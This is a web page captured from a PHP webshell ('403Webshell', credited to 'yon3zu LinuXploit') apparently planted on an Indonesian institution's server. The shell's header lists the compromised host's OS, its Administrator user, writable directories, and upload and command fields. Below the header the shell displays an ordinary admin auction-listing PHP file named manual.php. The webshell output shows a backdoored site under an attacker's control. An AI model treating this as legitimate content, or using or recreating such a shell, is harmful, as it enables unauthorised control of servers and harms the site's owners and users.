403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bpkd_/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bpkd_/admin/manual.php
<?php
/**
 * File: admin/lelang.php
 * Halaman Kelola Lelang (Backend)
 */
require_once 'config/database.php';
require_once '../includes/config.php'; // Load BASE_URL
require_once 'includes/init.php';
 
// Cek login
requireLogin();

$page_title = 'Kelola Lelang - ' . ($settings['site_title'] ?? 'Website Instansi');

// Pagination
$page = isset($_GET['page']) ? (int)$_GET['page'] : 1;
$limit = 10;
$offset = ($page - 1) * $limit;

// Filter
$status_filter = isset($_GET['status']) ? sanitize($_GET['status']) : '';
$kategori_filter = isset($_GET['kategori']) ? sanitize($_GET['kategori']) : '';
$search = isset($_GET['search']) ? sanitize($_GET['search']) : '';

// =====================================================
// BUILD QUERY DENGAN PREPARED STATEMENT
// =====================================================
$where = [];
$params = [];
$types = "";

if (!empty($status_filter)) {
    $where[] = "status = ?";
    $params[] = $status_filter;
    $types .= "s";
}
if (!empty($kategori_filter)) {
    $where[] = "kategori = ?";
    $params[] = $kategori_filter;
    $types .= "s";
}
if (!empty($search)) {
    $where[] = "(judul LIKE ? OR no_lelang LIKE ?)";
    $params[] = "%$search%";
    $params[] = "%$search%";
    $types .= "ss";
}

$where_clause = !empty($where) ? "WHERE " . implode(" AND ", $where) : "";

// Get total records
$total_sql = "SELECT COUNT(*) as total FROM lelang $where_clause";
if (!empty($params)) {
    $stmt = $conn->prepare($total_sql);
    $stmt->bind_param($types, ...$params);
    $stmt->execute();
    $total_result = $stmt->get_result();
    $total_records = $total_result->fetch_assoc()['total'];
    $stmt->close();
} else {
    $total_result = $conn->query($total_sql);
    $total_records = $total_result->fetch_assoc()['total'];
}
$total_pages = ceil($total_records / $limit);

// Get data
$sql = "SELECT * FROM lelang $where_clause ORDER BY created_at DESC LIMIT ? OFFSET ?";
$params[] = $limit;
$params[] = $offset;
$types .= "ii";

$stmt = $conn->prepare($sql);
$stmt->bind_param($types, ...$params);
$stmt->execute();
$lelangs = $stmt->get_result();

// Ambil daftar kategori unik untuk filter
$kategori_list = $conn->query("SELECT DISTINCT kategori FROM lelang WHERE kategori IS NOT NULL AND kategori != '' ORDER BY kategori");

include 'includes/header.php';
?>

<style>
.status-badge {
    display: inline-block;
    padding: 4px 12px;
    border-radius: 20px;
    font-size: 0.7rem;
    font-weight: 600;
}
.status-draft { background: #fef3c7; color: #b45309; }
.status-publish { background: #dcfce7; color: #15803d; }
.status-closed { background: #fee2e2; color: #dc2626; }
.status-canceled { background: #f1f5f9; color: #475569; }

.table-img-preview {
    width: 45px;
    height: 45px;
    object-fit: cover;
    border-radius: 8px;
}

.filter-section {
    background: #f8fafc;
    padding: 20px;
    border-radius: 12px;
    margin-bottom: 24px;
}

.btn-group-action { display: flex; gap: 5px; flex-wrap: wrap; }

@media (max-width: 768px) {
    .btn-group-action { flex-direction: column; gap: 4px; }
    .filter-section .row { flex-direction: column; gap: 10px; }
}
</style>

<div class="container-fluid">
    <div class="row">
        <div class="col-md-12">
            <div class="card shadow-sm">
                <div class="card-header bg-primary text-white">
                    <h3 class="mb-0">
                        <i class="fas fa-gavel me-2"></i> Kelola Lelang
                        <a href="<?php echo BASE_URL; ?>/admin/lelang_add.php" class="btn btn-light btn-sm float-end">
                            <i class="fas fa-plus me-1"></i> Tambah Lelang
                        </a>
                    </h3>
                </div>
                <div class="card-body">
                    
                    <!-- Filter -->
                    <div class="filter-section">
                        <form method="GET" class="row g-3 align-items-end">
                            <div class="col-md-3">
                                <label class="form-label small fw-bold">Status</label>
                                <select name="status" class="form-select">
                                    <option value="">Semua Status</option>
                                    <option value="draft" <?php echo $status_filter == 'draft' ? 'selected' : ''; ?>>Draft</option>
                                    <option value="publish" <?php echo $status_filter == 'publish' ? 'selected' : ''; ?>>Publish</option>
                                    <option value="closed" <?php echo $status_filter == 'closed' ? 'selected' : ''; ?>>Closed</option>
                                    <option value="canceled" <?php echo $status_filter == 'canceled' ? 'selected' : ''; ?>>Canceled</option>
                                </select>
                            </div>
                            <div class="col-md-3">
                                <label class="form-label small fw-bold">Kategori</label>
                                <select name="kategori" class="form-select">
                                    <option value="">Semua Kategori</option>
                                    <?php if ($kategori_list && $kategori_list->num_rows > 0): ?>
                                        <?php while($kat = $kategori_list->fetch_assoc()): ?>
                                            <option value="<?php echo htmlspecialchars($kat['kategori']); ?>" 
                                                <?php echo $kategori_filter == $kat['kategori'] ? 'selected' : ''; ?>>
                                                <?php echo htmlspecialchars($kat['kategori']); ?>
                                            </option>
                                        <?php endwhile; ?>
                                    <?php else: ?>
                                        <option value="Kendaraan">Kendaraan</option>
                                        <option value="Peralatan">Peralatan</option>
                                        <option value="Properti">Properti</option>
                                        <option value="Tanah">Tanah</option>
                                        <option value="Lainnya">Lainnya</option>
                                    <?php endif; ?>
                                </select>
                            </div>
                            <div class="col-md-4">
                                <label class="form-label small fw-bold">Cari</label>
                                <input type="text" name="search" class="form-control" 
                                       placeholder="Judul atau No. Lelang..." 
                                       value="<?php echo htmlspecialchars($search); ?>">
                            </div>
                            <div class="col-md-2">
                                <div class="d-flex gap-2">
                                    <button type="submit" class="btn btn-primary w-100"><i class="fas fa-search me-1"></i> Filter</button>
                                    <a href="<?php echo BASE_URL; ?>/admin/lelang.php" class="btn btn-secondary w-100"><i class="fas fa-undo me-1"></i> Reset</a>
                                </div>
                            </div>
                        </form>
                    </div>

                    <!-- Info Hasil -->
                    <?php if (!empty($search) || !empty($status_filter) || !empty($kategori_filter)): ?>
                    <div class="alert alert-info mb-3">
                        <i class="fas fa-filter me-2"></i> Menampilkan <?php echo $total_records; ?> hasil
                        <?php if (!empty($search)): ?> untuk pencarian "<strong><?php echo htmlspecialchars($search); ?></strong>"<?php endif; ?>
                    </div>
                    <?php endif; ?>

                    <!-- Table -->
                    <div class="table-responsive">
                        <table class="table table-hover table-striped align-middle">
                            <thead class="table-dark">
                                <tr>
                                    <th width="50">ID</th>
                                    <th width="70">Gambar</th>
                                    <th>Judul</th>
                                    <th>No. Lelang</th>
                                    <th>Kategori</th>
                                    <th>Harga Awal</th>
                                    <th>Tanggal Mulai</th>
                                    <th>Tanggal Selesai</th>
                                    <th width="100">Status</th>
                                    <th width="120">Aksi</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php if ($lelangs && $lelangs->num_rows > 0): ?>
                                    <?php while($row = $lelangs->fetch_assoc()): ?>
                                    <tr>
                                        <td><?php echo $row['id']; ?></td>
                                        <td>
                                            <?php if(!empty($row['gambar_utama'])): 
                                                $img_path = '';
                                                if (file_exists(dirname(__DIR__) . "/uploads/lelang/" . $row['gambar_utama'])) {
                                                    $img_path = BASE_URL . "/uploads/lelang/" . $row['gambar_utama'];
                                                } else {
                                                    $img_path = BASE_URL . "/assets/images/lelangdef.jpeg";
                                                }
                                            ?>
                                                <img src="<?php echo $img_path; ?>" class="table-img-preview" alt="<?php echo htmlspecialchars($row['judul']); ?>">
                                            <?php else: ?>
                                                <div class="text-center"><i class="fas fa-image fa-2x text-muted"></i></div>
                                            <?php endif; ?>
                                        </td>
                                        <td>
                                            <strong><?php echo htmlspecialchars($row['judul']); ?></strong>
                                            <?php if(!empty($row['slug'])): ?>
                                                <br><small class="text-muted">slug: <?php echo htmlspecialchars($row['slug']); ?></small>
                                            <?php endif; ?>
                                        </td>
                                        <td><?php echo htmlspecialchars($row['no_lelang'] ?? '-'); ?></td>
                                        <td><span class="badge bg-secondary"><?php echo htmlspecialchars($row['kategori'] ?? 'Umum'); ?></span></td>
                                        <td class="fw-bold text-primary">Rp <?php echo number_format($row['harga_awal'], 0, ',', '.'); ?></td>
                                        <td><i class="fas fa-calendar-alt text-muted me-1"></i><?php echo date('d/m/Y H:i', strtotime($row['tanggal_mulai'])); ?></td>
                                        <td><i class="fas fa-calendar-check text-muted me-1"></i><?php echo date('d/m/Y H:i', strtotime($row['tanggal_selesai'])); ?></td>
                                        <td>
                                            <span class="status-badge status-<?php echo $row['status']; ?>">
                                                <?php echo ucfirst($row['status']); ?>
                                            </span>
                                        </td>
                                        <td>
                                            <div class="btn-group-action">
                                                <a href="<?php echo BASE_URL; ?>/admin/lelang_edit.php?id=<?php echo $row['id']; ?>" class="btn btn-sm btn-warning" title="Edit"><i class="fas fa-edit"></i></a>
                                                <a href="<?php echo BASE_URL; ?>/admin/lelang_delete.php?id=<?php echo $row['id']; ?>" class="btn btn-sm btn-danger" title="Hapus" onclick="return confirm('Yakin ingin menghapus?')"><i class="fas fa-trash"></i></a>
                                                <a href="<?php echo BASE_URL; ?>/lelang/<?php echo $row['slug']; ?>" target="_blank" class="btn btn-sm btn-info" title="Lihat Frontend"><i class="fas fa-eye"></i></a>
                                            </div>
                                        </td>
                                    </tr>
                                    <?php endwhile; ?>
                                <?php else: ?>
                                    <tr>
                                        <td colspan="10" class="text-center py-5">
                                            <i class="fas fa-gavel fa-3x text-muted mb-3"></i>
                                            <h5>Belum ada data lelang</h5>
                                            <p class="text-muted">Silakan tambah lelang baru</p>
                                        </td>
                                    </tr>
                                <?php endif; ?>
                            </tbody>
                        </table>
                    </div>

                    <!-- Pagination -->
                    <?php if($total_pages > 1): ?>
                    <nav class="mt-4">
                        <ul class="pagination justify-content-center">
                            <li class="page-item <?php echo $page <= 1 ? 'disabled' : ''; ?>">
                                <a class="page-link" href="<?php echo BASE_URL; ?>/admin/lelang.php?page=<?php echo $page-1; ?>&status=<?php echo urlencode($status_filter); ?>&kategori=<?php echo urlencode($kategori_filter); ?>&search=<?php echo urlencode($search); ?>">
                                    <i class="fas fa-chevron-left"></i>
                                </a>
                            </li>
                            <?php for($i = 1; $i <= $total_pages; $i++): ?>
                                <li class="page-item <?php echo $i == $page ? 'active' : ''; ?>">
                                    <a class="page-link" href="<?php echo BASE_URL; ?>/admin/lelang.php?page=<?php echo $i; ?>&status=<?php echo urlencode($status_filter); ?>&kategori=<?php echo urlencode($kategori_filter); ?>&search=<?php echo urlencode($search); ?>">
                                        <?php echo $i; ?>
                                    </a>
                                </li>
                            <?php endfor; ?>
                            <li class="page-item <?php echo $page >= $total_pages ? 'disabled' : ''; ?>">
                                <a class="page-link" href="<?php echo BASE_URL; ?>/admin/lelang.php?page=<?php echo $page+1; ?>&status=<?php echo urlencode($status_filter); ?>&kategori=<?php echo urlencode($kategori_filter); ?>&search=<?php echo urlencode($search); ?>">
                                    <i class="fas fa-chevron-right"></i>
                                </a>
                            </li>
                        </ul>
                    </nav>
                    <?php endif; ?>
                    
                    <div class="text-center text-muted small mt-3">
                        <i class="fas fa-database me-1"></i> Total <?php echo $total_records; ?> data lelang
                    </div>
                    
                </div>
            </div>
        </div>
    </div>
</div>

<script>
// Pass BASE_URL ke JavaScript
const BASE_URL = '<?php echo BASE_URL; ?>';
</script>

<?php require_once 'includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit